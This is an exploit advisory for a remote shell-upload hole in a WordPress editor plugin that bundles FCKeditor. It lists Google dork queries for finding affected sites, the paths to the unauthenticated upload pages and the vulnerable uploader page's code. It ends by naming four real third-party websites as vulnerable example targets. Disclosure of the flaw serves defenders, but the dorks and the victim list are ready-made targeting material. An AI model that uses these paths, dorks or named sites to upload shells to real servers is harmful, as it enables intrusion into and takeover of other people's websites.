WordPress Monsters-Editor-10-For-WP-Super-Edit plugin version 2.3.1 suffers from a remote shell upload vulnerability.
fa30c4f92619b3eca04b2430de3d7724a15152ace165755f96c4835d46a60068###########################################################################################################
# Exploit Title : WordPress Monsters-Editor-10-For-WP-Super-Edit Plugins
2.3.1 Remote Shell Upload Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security
Army
# Date : 20/12/2018
# Vendor Homepage : thedevcouple.com ~
wordpress.org/plugins/monsters-editor-10-for-wp-super-edit/
+ github.com/wp-plugins/monsters-editor-10-for-wp-super-edit
# Software Download Link :
downloads.wordpress.org/plugin/monsters-editor-10-for-wp-super-edit.zip
# Tested On : Windows and Linux
# Category : WebApps
# Version Information : 2.1 and 2.3.1
# Exploit Risk : Medium
# Google Dorks :
inurl:''/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/''
+ intext:''Using the fMulti theme design by Fredrik Fahlstad Proudly
powered by WordPress.''
+ intext:''Website Design by Cynscreations.com.''
+ intext:''Powered by Aquino Media | Designed by Aquino Media Group''
# Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access
Controls ]
+ CWE-434: Unrestricted Upload of File with Dangerous Type
# Visit Web Security Blog and Forum : cyberizm.org [ Team ] ~
ayarsecurity.com [ Friend ]
###########################################################################################################
# Exploit :
/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html
/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/browser/default/browser.html
/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/browser/default/frmupload.html
# Directory File Path :
/wp-content/uploads/......
/wp-content/uploads/[YEAR]/[MONTH]....
#################################################################################################
# Note : This plugin Monsters-Editor-10-For-WP-Super-Edit contains a very
serious vulnerability that allowed hackers to gain full control a
modify, upload and execute files on any website running WordPress. With the
plugin installed on a certain website,
a hacker or malicious person can gain access to the web server via HTTP
through a backdoor in the pluginas directory.
###########################################################################################################
Vulnerable File Code => /test.html
********************************
<!--
* FCKeditor - The text editor for Internet - http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
* http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
* http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
* http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* Test page for the "File Uploaders".
-->
<html>
<head>
<title>FCKeditor - Uploaders Tests</title>
<script language="javascript">
function SendFile()
{
var sUploaderUrl = cmbUploaderUrl.value ;
if ( sUploaderUrl.length == 0 )
sUploaderUrl = txtCustomUrl.value ;
if ( sUploaderUrl.length == 0 )
{
alert( 'Please provide your custom URL or select a default one' ) ;
return ;
}
eURL.innerHTML = sUploaderUrl ;
txtUrl.value = '' ;
frmUpload.action = sUploaderUrl ;
frmUpload.submit() ;
}
function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )
{
switch ( errorNumber )
{
case 0 : // No errors
txtUrl.value = fileUrl ;
alert( 'File uploaded with no errors' ) ;
break ;
case 1 : // Custom error
alert( customMsg ) ;
break ;
case 10 : // Custom warning
txtUrl.value = fileUrl ;
alert( customMsg ) ;
break ;
case 201 :
txtUrl.value = fileUrl ;
alert( 'A file with the same name is already available. The uploaded file
has been renamed to "' + fileName + '"' ) ;
break ;
case 202 :
alert( 'Invalid file' ) ;
break ;
case 203 :
alert( "Security error. You probably don't have enough permissions to
upload. Please check your server." ) ;
break ;
default :
alert( 'Error on file upload. Error number: ' + errorNumber ) ;
break ;
}
}
</script>
</head>
<body>
<table cellSpacing="0" cellPadding="0" width="100%" border="0"
height="100%">
<tr>
<td>
<table cellSpacing="0" cellPadding="0" width="100%" border="0">
<tr>
<td nowrap>
Select the "File Uploader" to use:<br>
<select id="cmbUploaderUrl">
<option selected value="asp/upload.asp">ASP</option>
<option value="aspx/upload.aspx">ASP.Net</option>
<option value="cfm/upload.cfm">ColdFusion</option>
<option value="lasso/upload.lasso">Lasso</option>
<option value="php/upload.php">PHP</option>
<option value="">(Custom)</option>
</select>
</td>
<td nowrap> </td>
<td width="100%">
Custom Uploader URL:<BR>
<input id="txtCustomUrl" style="WIDTH: 100%; BACKGROUND-COLOR: #dcdcdc"
disabled type="text">
</td>
</tr>
</table>
<br>
<table cellSpacing="0" cellPadding="0" width="100%" border="0">
<tr>
<td noWrap>
<form id="frmUpload" target="UploadWindow" enctype="multipart/form-data"
action="" method="post">
Upload a new file:<br>
<input type="file" name="NewFile"><br>
<input type="button" value="Send it to the Server" onclick="SendFile();">
</form>
</td>
<td style="WIDTH: 16px"> </td>
<td vAlign="top" width="100%">
Uploaded File URL:<br>
<INPUT id="txtUrl" style="WIDTH: 100%" readonly type="text">
</td>
</tr>
</table>
<br>
Post URL: <span id="eURL"> </span>
</td>
</tr>
<tr>
<td height="100%">
<iframe name="UploadWindow" width="100%" height="100%"
src="javascript:void(0)"></iframe>
</td>
</tr>
</table>
</body>
</html>
###########################################################################################################
# Example Vulnerable Sites =>
[+]
dionysusrecords.com/main/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html
[+]
dfrere.fr/Blog01/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html
[+]
mark.langkau.org/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html
[+]
tonyaquino.com/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html
###########################################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###########################################################################################################
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